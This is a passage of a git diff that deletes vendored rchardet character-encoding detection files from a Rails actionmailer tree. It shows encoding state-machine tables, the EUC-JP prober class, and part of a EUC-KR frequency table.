-    0,0,0,0,0,0,0,0,  # 10 - 17 
-    0,0,0,1,0,0,0,0,  # 18 - 1f 
-    0,0,0,0,0,0,0,0,  # 20 - 27 
-    0,0,0,0,0,0,0,0,  # 28 - 2f 
-    0,0,0,0,0,0,0,0,  # 30 - 37 
-    0,0,0,0,0,0,0,0,  # 38 - 3f 
-    0,0,0,0,0,0,0,0,  # 40 - 47 
-    0,0,0,0,0,0,0,0,  # 48 - 4f 
-    0,0,0,0,0,0,0,0,  # 50 - 57 
-    0,0,0,0,0,0,0,0,  # 58 - 5f 
-    0,0,0,0,0,0,0,0,  # 60 - 67 
-    0,0,0,0,0,0,0,0,  # 68 - 6f 
-    0,0,0,0,0,0,0,0,  # 70 - 77 
-    0,0,0,4,0,5,2,0,  # 78 - 7f 
-    1,1,1,1,1,1,1,1,  # 80 - 87 
-    1,1,1,1,1,1,1,1,  # 88 - 8f 
-    1,1,1,1,1,1,1,1,  # 90 - 97 
-    1,1,1,1,1,1,1,1,  # 98 - 9f 
-    1,1,1,1,1,1,1,1,  # a0 - a7 
-    1,1,1,1,1,1,1,1,  # a8 - af 
-    1,1,1,1,1,1,1,1,  # b0 - b7 
-    1,1,1,1,1,1,1,1,  # b8 - bf 
-    1,1,1,1,1,1,1,1,  # c0 - c7 
-    1,1,1,1,1,1,1,1,  # c8 - cf 
-    1,1,1,1,1,1,1,1,  # d0 - d7 
-    1,1,1,1,1,1,1,1,  # d8 - df 
-    1,1,1,1,1,1,1,1,  # e0 - e7 
-    1,1,1,1,1,1,1,1,  # e8 - ef 
-    1,1,1,1,1,1,1,1,  # f0 - f7 
-    1,1,1,1,1,1,1,1,  # f8 - ff 
-  ]
-
-  HZ_st = [
-    EStart,EError,     3,EStart,EStart,EStart,EError,EError,# 00-07 
-    EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 08-0f 
-    EItsMe,EItsMe,EError,EError,EStart,EStart,     4,EError,# 10-17 
-    5,EError,     6,EError,     5,     5,     4,EError,# 18-1f 
-    4,EError,     4,     4,     4,EError,     4,EError,# 20-27 
-    4,EItsMe,EStart,EStart,EStart,EStart,EStart,EStart,# 28-2f 
-  ]
-
-  HZCharLenTable = [0, 0, 0, 0, 0, 0]
-
-  HZSMModel = {'classTable' => HZ_cls,
-	     'classFactor' => 6,
-	     'stateTable' => HZ_st,
-	     'charLenTable' => HZCharLenTable,
-	     'name' => "HZ-GB-2312"
-}
-
-ISO2022CN_cls = [
-2,0,0,0,0,0,0,0,  # 00 - 07 
-0,0,0,0,0,0,0,0,  # 08 - 0f 
-0,0,0,0,0,0,0,0,  # 10 - 17 
-0,0,0,1,0,0,0,0,  # 18 - 1f 
-0,0,0,0,0,0,0,0,  # 20 - 27 
-0,3,0,0,0,0,0,0,  # 28 - 2f 
-0,0,0,0,0,0,0,0,  # 30 - 37 
-0,0,0,0,0,0,0,0,  # 38 - 3f 
-0,0,0,4,0,0,0,0,  # 40 - 47 
-0,0,0,0,0,0,0,0,  # 48 - 4f 
-0,0,0,0,0,0,0,0,  # 50 - 57 
-0,0,0,0,0,0,0,0,  # 58 - 5f 
-0,0,0,0,0,0,0,0,  # 60 - 67 
-0,0,0,0,0,0,0,0,  # 68 - 6f 
-0,0,0,0,0,0,0,0,  # 70 - 77 
-0,0,0,0,0,0,0,0,  # 78 - 7f 
-2,2,2,2,2,2,2,2,  # 80 - 87 
-2,2,2,2,2,2,2,2,  # 88 - 8f 
-2,2,2,2,2,2,2,2,  # 90 - 97 
-2,2,2,2,2,2,2,2,  # 98 - 9f 
-2,2,2,2,2,2,2,2,  # a0 - a7 
-2,2,2,2,2,2,2,2,  # a8 - af 
-2,2,2,2,2,2,2,2,  # b0 - b7 
-2,2,2,2,2,2,2,2,  # b8 - bf 
-2,2,2,2,2,2,2,2,  # c0 - c7 
-2,2,2,2,2,2,2,2,  # c8 - cf 
-2,2,2,2,2,2,2,2,  # d0 - d7 
-2,2,2,2,2,2,2,2,  # d8 - df 
-2,2,2,2,2,2,2,2,  # e0 - e7 
-2,2,2,2,2,2,2,2,  # e8 - ef 
-2,2,2,2,2,2,2,2,  # f0 - f7 
-2,2,2,2,2,2,2,2,  # f8 - ff 
-]
-
-ISO2022CN_st = [
-EStart,     3,EError,EStart,EStart,EStart,EStart,EStart,# 00-07 
-EStart,EError,EError,EError,EError,EError,EError,EError,# 08-0f 
-EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,# 10-17 
-EItsMe,EItsMe,EItsMe,EError,EError,EError,     4,EError,# 18-1f 
-EError,EError,EError,EItsMe,EError,EError,EError,EError,# 20-27 
-     5,     6,EError,EError,EError,EError,EError,EError,# 28-2f 
-EError,EError,EError,EItsMe,EError,EError,EError,EError,# 30-37 
-EError,EError,EError,EError,EError,EItsMe,EError,EStart,# 38-3f 
-]
-
-ISO2022CNCharLenTable = [0, 0, 0, 0, 0, 0, 0, 0, 0]
-
-ISO2022CNSMModel = {'classTable' => ISO2022CN_cls,
-		    'classFactor' => 9,
-		    'stateTable' => ISO2022CN_st,
-		    'charLenTable' => ISO2022CNCharLenTable,
-		    'name' => "ISO-2022-CN"
-}
-
-ISO2022JP_cls = [
-2,0,0,0,0,0,0,0,  # 00 - 07 
-0,0,0,0,0,0,2,2,  # 08 - 0f 
-0,0,0,0,0,0,0,0,  # 10 - 17 
-0,0,0,1,0,0,0,0,  # 18 - 1f 
-0,0,0,0,7,0,0,0,  # 20 - 27 
-3,0,0,0,0,0,0,0,  # 28 - 2f 
-0,0,0,0,0,0,0,0,  # 30 - 37 
-0,0,0,0,0,0,0,0,  # 38 - 3f 
-6,0,4,0,8,0,0,0,  # 40 - 47 
-0,9,5,0,0,0,0,0,  # 48 - 4f 
-0,0,0,0,0,0,0,0,  # 50 - 57 
-0,0,0,0,0,0,0,0,  # 58 - 5f 
-0,0,0,0,0,0,0,0,  # 60 - 67 
-0,0,0,0,0,0,0,0,  # 68 - 6f 
-0,0,0,0,0,0,0,0,  # 70 - 77 
-0,0,0,0,0,0,0,0,  # 78 - 7f 
-2,2,2,2,2,2,2,2,  # 80 - 87 
-2,2,2,2,2,2,2,2,  # 88 - 8f 
-2,2,2,2,2,2,2,2,  # 90 - 97 
-2,2,2,2,2,2,2,2,  # 98 - 9f 
-2,2,2,2,2,2,2,2,  # a0 - a7 
-2,2,2,2,2,2,2,2,  # a8 - af 
-2,2,2,2,2,2,2,2,  # b0 - b7 
-2,2,2,2,2,2,2,2,  # b8 - bf 
-2,2,2,2,2,2,2,2,  # c0 - c7 
-2,2,2,2,2,2,2,2,  # c8 - cf 
-2,2,2,2,2,2,2,2,  # d0 - d7 
-2,2,2,2,2,2,2,2,  # d8 - df 
-2,2,2,2,2,2,2,2,  # e0 - e7 
-2,2,2,2,2,2,2,2,  # e8 - ef 
-2,2,2,2,2,2,2,2,  # f0 - f7 
-2,2,2,2,2,2,2,2,  # f8 - ff 
-]
-
-ISO2022JP_st = [ 
-EStart,     3,EError,EStart,EStart,EStart,EStart,EStart,# 00-07 
-EStart,EStart,EError,EError,EError,EError,EError,EError,# 08-0f 
-EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 10-17 
-EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,# 18-1f 
-EError,     5,EError,EError,EError,     4,EError,EError,# 20-27 
-EError,EError,EError,     6,EItsMe,EError,EItsMe,EError,# 28-2f 
-EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,# 30-37 
-EError,EError,EError,EItsMe,EError,EError,EError,EError,# 38-3f 
-EError,EError,EError,EError,EItsMe,EError,EStart,EStart,# 40-47 
-]
-
-ISO2022JPCharLenTable = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
-
-ISO2022JPSMModel = {'classTable' => ISO2022JP_cls,
-		    'classFactor' => 10,
-		    'stateTable' => ISO2022JP_st,
-		    'charLenTable' => ISO2022JPCharLenTable,
-		    'name' => "ISO-2022-JP"
-}
-
-ISO2022KR_cls = [
-2,0,0,0,0,0,0,0,  # 00 - 07 
-0,0,0,0,0,0,0,0,  # 08 - 0f 
-0,0,0,0,0,0,0,0,  # 10 - 17 
-0,0,0,1,0,0,0,0,  # 18 - 1f 
-0,0,0,0,3,0,0,0,  # 20 - 27 
-0,4,0,0,0,0,0,0,  # 28 - 2f 
-0,0,0,0,0,0,0,0,  # 30 - 37 
-0,0,0,0,0,0,0,0,  # 38 - 3f 
-0,0,0,5,0,0,0,0,  # 40 - 47 
-0,0,0,0,0,0,0,0,  # 48 - 4f 
-0,0,0,0,0,0,0,0,  # 50 - 57 
-0,0,0,0,0,0,0,0,  # 58 - 5f 
-0,0,0,0,0,0,0,0,  # 60 - 67 
-0,0,0,0,0,0,0,0,  # 68 - 6f 
-0,0,0,0,0,0,0,0,  # 70 - 77 
-0,0,0,0,0,0,0,0,  # 78 - 7f 
-2,2,2,2,2,2,2,2,  # 80 - 87 
-2,2,2,2,2,2,2,2,  # 88 - 8f 
-2,2,2,2,2,2,2,2,  # 90 - 97 
-2,2,2,2,2,2,2,2,  # 98 - 9f 
-2,2,2,2,2,2,2,2,  # a0 - a7 
-2,2,2,2,2,2,2,2,  # a8 - af 
-2,2,2,2,2,2,2,2,  # b0 - b7 
-2,2,2,2,2,2,2,2,  # b8 - bf 
-2,2,2,2,2,2,2,2,  # c0 - c7 
-2,2,2,2,2,2,2,2,  # c8 - cf 
-2,2,2,2,2,2,2,2,  # d0 - d7 
-2,2,2,2,2,2,2,2,  # d8 - df 
-2,2,2,2,2,2,2,2,  # e0 - e7 
-2,2,2,2,2,2,2,2,  # e8 - ef 
-2,2,2,2,2,2,2,2,  # f0 - f7 
-2,2,2,2,2,2,2,2,  # f8 - ff 
-]
-
-ISO2022KR_st = [ 
-EStart,     3,EError,EStart,EStart,EStart,EError,EError,# 00-07 
-EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 08-0f 
-EItsMe,EItsMe,EError,EError,EError,     4,EError,EError,# 10-17 
-EError,EError,EError,EError,     5,EError,EError,EError,# 18-1f 
-EError,EError,EError,EItsMe,EStart,EStart,EStart,EStart,# 20-27 
-]
-
-ISO2022KRCharLenTable = [0, 0, 0, 0, 0, 0]
-
-ISO2022KRSMModel = {'classTable' => ISO2022KR_cls,
-		    'classFactor' => 6,
-		    'stateTable' => ISO2022KR_st,
-		    'charLenTable' => ISO2022KRCharLenTable,
-		    'name' => "ISO-2022-KR"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb
deleted file mode 100755
index 1fb0eebf..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class EUCJPProber < MultiByteCharSetProber
-    def initialize
-      super()
-      @_mCodingSM = CodingStateMachine.new(EUCJPSMModel)
-      @_mDistributionAnalyzer = EUCJPDistributionAnalysis.new()
-      @_mContextAnalyzer = EUCJPContextAnalysis.new()
-      reset
-    end
-
-    def reset
-      super()
-      @_mContextAnalyzer.reset()
-    end
-
-    def get_charset_name
-      return "EUC-JP"
-    end
-
-    def feed(aBuf)
-      aLen = aBuf.length
-      for i in (0...aLen)
-        codingState = @_mCodingSM.next_state(aBuf[i..i])
-        if codingState == EError
-          $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug
-          @_mState = ENotMe
-          break
-        elsif codingState == EItsMe
-          @_mState = EFoundIt
-          break
-        elsif codingState == EStart
-          charLen = @_mCodingSM.get_current_charlen()
-          if i == 0
-            @_mLastChar[1] = aBuf[0..0]
-            @_mContextAnalyzer.feed(@_mLastChar, charLen)
-            @_mDistributionAnalyzer.feed(@_mLastChar, charLen)
-          else
-            @_mContextAnalyzer.feed(aBuf[i-1...i+1], charLen)
-            @_mDistributionAnalyzer.feed(aBuf[i-1...i+1], charLen)
-          end
-        end
-      end
-
-      @_mLastChar[0] = aBuf[aLen-1..aLen-1]
-
-      if get_state() == EDetecting
-        if @_mContextAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD)
-          @_mState = EFoundIt
-        end
-      end
-
-      return get_state()
-    end
-
-    def get_confidence
-      l = [@_mContextAnalyzer.get_confidence,@_mDistributionAnalyzer.get_confidence]
-      return l.max
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb
deleted file mode 100755
index 764a34f3..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb
+++ /dev/null
@@ -1,596 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# Sampling from about 20M text materials include literature and computer technology
-
-# 128  --> 0.79
-# 256  --> 0.92
-# 512  --> 0.986
-# 1024 --> 0.99944
-# 2048 --> 0.99999
-#
-# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24
-# Random Distribution Ration = 512 / (2350-512) = 0.279.
-# 
-# Typical Distribution Ratio  
-module CharDet
-EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0
-
-EUCKR_TABLE_SIZE = 2352
-
-# Char to FreqOrder table , 
-EUCKRCharToFreqOrder = [
-  13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722,  87,
-1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398,
-1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488,  20,1733,1269,1734,
- 945,1400,1735,  47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739,
- 116, 987, 813,1401, 683,  75,1204, 145,1740,1741,1742,1743,  16, 847, 667, 622,
- 708,1744,1745,1746, 966, 787, 304, 129,1747,  60, 820, 123, 676,1748,1749,1750,
-1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856,
- 344,1763,1764,1765,1766,  89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205,
- 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779,
-1780, 337, 751,1058,  28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782,  19,
-1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567,
-1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797,
-1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802,
-1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899,
- 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818,
-1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409,
-1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697,
-1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770,
-1412,1837,1838,  39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723,
- 544,1023,1081, 869,  91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416,
-1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300,
- 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083,
- 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857,
-1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871,
- 282,  96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420,
-1421, 268,1877,1422,1878,1879,1880, 308,1881,   2, 537,1882,1883,1215,1884,1885,
- 127, 791,1886,1273,1423,1887,  34, 336, 404, 643,1888, 571, 654, 894, 840,1889,
-   0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893,
-1894,1123,  48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317,
-1899, 694,1900, 909, 734,1424, 572, 866,1425, 691,  85, 524,1010, 543, 394, 841,
-1901,1902,1903,1026,1904,1905,1906,1907,1908,1909,  30, 451, 651, 988, 310,1910,
-1911,1426, 810,1216,  93,1912,1913,1277,1217,1914, 858, 759,  45,  58, 181, 610,
- 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375,
-1919, 359,1920, 687,1921, 822,1922, 293,1923,1924,  40, 662, 118, 692,  29, 939,
- 887, 640, 482, 174,1925,  69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870,
- 217, 854,1163, 823,1927,1928,1929,1930, 834,1931,  78,1932, 859,1933,1063,1934,
-1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888,
-1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950,
-1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065,
-1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002,
-1283,1222,1960,1961,1962,1963,  36, 383, 228, 753, 247, 454,1964, 876, 678,1965,
-1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467,
-  50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285,
- 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971,   7,
- 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979,
-1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985,
- 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994,
-1995, 560, 223,1287,  98,   8, 189, 650, 978,1288,1996,1437,1997,  17, 345, 250,
- 423, 277, 234, 512, 226,  97, 289,  42, 167,1998, 201,1999,2000, 843, 836, 824,
- 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003,
-2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008,  71,1440, 745,
- 619, 688,2009, 829,2010,2011, 147,2012,  33, 948,2013,2014,  74, 224,2015,  61,
- 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023,
-2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591,  52, 724, 246,2031,2032,
-2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912,
-2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224,
- 719,1170, 959, 440, 437, 534,  84, 388, 480,1131, 159, 220, 198, 679,2044,1012,
- 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050,
-2051,2052,2053,  59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681,
- 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414,
-1444,2064,2065,  41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068,
-2069,1292,2070,2071,1445,2072,1446,2073,2074,  55, 588,  66,1447, 271,1092,2075,
-1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850,
-2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606,
-2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449,
-1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452,
- 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112,
-2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121,
-2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130,
-  22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174,  73,1096, 231, 274,
- 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139,
-2141,2142,2143,2144,  11, 374, 844,2145, 154,1232,  46,1461,2146, 838, 830, 721,
-1233, 106,2147,  90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298,
-2150,1462, 761, 565,2151, 686,2152, 649,2153,  72, 173,2154, 460, 415,2155,1463,
-2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747,
-2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177,  23, 530, 285,
-2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187,
-2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193,  10,
-2194, 613, 424,2195, 979, 108, 449, 589,  27, 172,  81,1031,  80, 774, 281, 350,
-1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201,
-2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972,
-2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219,
-2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233,
-2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242,
-2243, 521, 486, 548,2244,2245,2246,1473,1300,  53, 549, 137, 875,  76, 158,2247,
-1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178,
-1475,2249,  82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255,
-2256,  18, 450, 206,2257, 290, 292,1142,2258, 511, 162,  99, 346, 164, 735,2259,
-1476,1477,   4, 554, 343, 798,1099,2260,1100,2261,  43, 171,1303, 139, 215,2262,
-2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702,
-1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272,  67,2273,
- 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541,
-2282,2283,2284,2285,2286,  70, 852,1071,2287,2288,2289,2290,  21,  56, 509, 117,
- 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187,
-2294,1046,1479,2295, 340,2296,  63,1047, 230,2297,2298,1305, 763,1306, 101, 800,
- 808, 494,2299,2300,2301, 903,2302,  37,1072,  14,   5,2303,  79, 675,2304, 312,
-2305,2306,2307,2308,2309,1480,   6,1307,2310,2311,2312,   1, 470,  35,  24, 229,
-2313, 695, 210,  86, 778,  15, 784, 592, 779,  32,  77, 855, 964,2314, 259,2315,
- 501, 380,2316,2317,  83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484,
-2320,2321,2322,2323,2324,2325,1485,2326,2327, 128,  57,  68, 261,1048, 211, 170,
-1240,  31,2328,  51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335,
- 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601,
-1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395,
-2351,1490,1491,  62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354,
-1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476,
-2361,2362, 332,  12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035,
- 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498,
-2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310,
-1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389,
-2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504,
-1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505,
-2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145,
-1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624,
- 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700,
-2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221,
-2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377,
- 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448,
- 915, 489,2449,1514,1184,2450,2451, 515,  64, 427, 495,2452, 583,2453, 483, 485,
-1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705,
-1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465,
- 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471,
-2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997,
-2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486,
- 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187,  65,2494,
- 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771,
- 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323,
-2499,2500,  49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491,
-  95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510,
- 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519,
-2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532,
-2533,  25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199,
- 704, 504, 468, 758, 657,1528, 196,  44, 839,1246, 272, 750,2543, 765, 862,2544,
-2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247,
-1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441,
- 249,1075,2556,2557,2558, 466, 743,2559,2560,2561,  92, 514, 426, 420, 526,2562,
-2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362,
-2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583,
-2584,1532,  54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465,
-   3, 458,   9,  38,2588, 107, 110, 890, 209,  26, 737, 498,2589,1534,2590, 431,
- 202,  88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151,
- 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596,
-2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601,  94, 175, 197, 406,
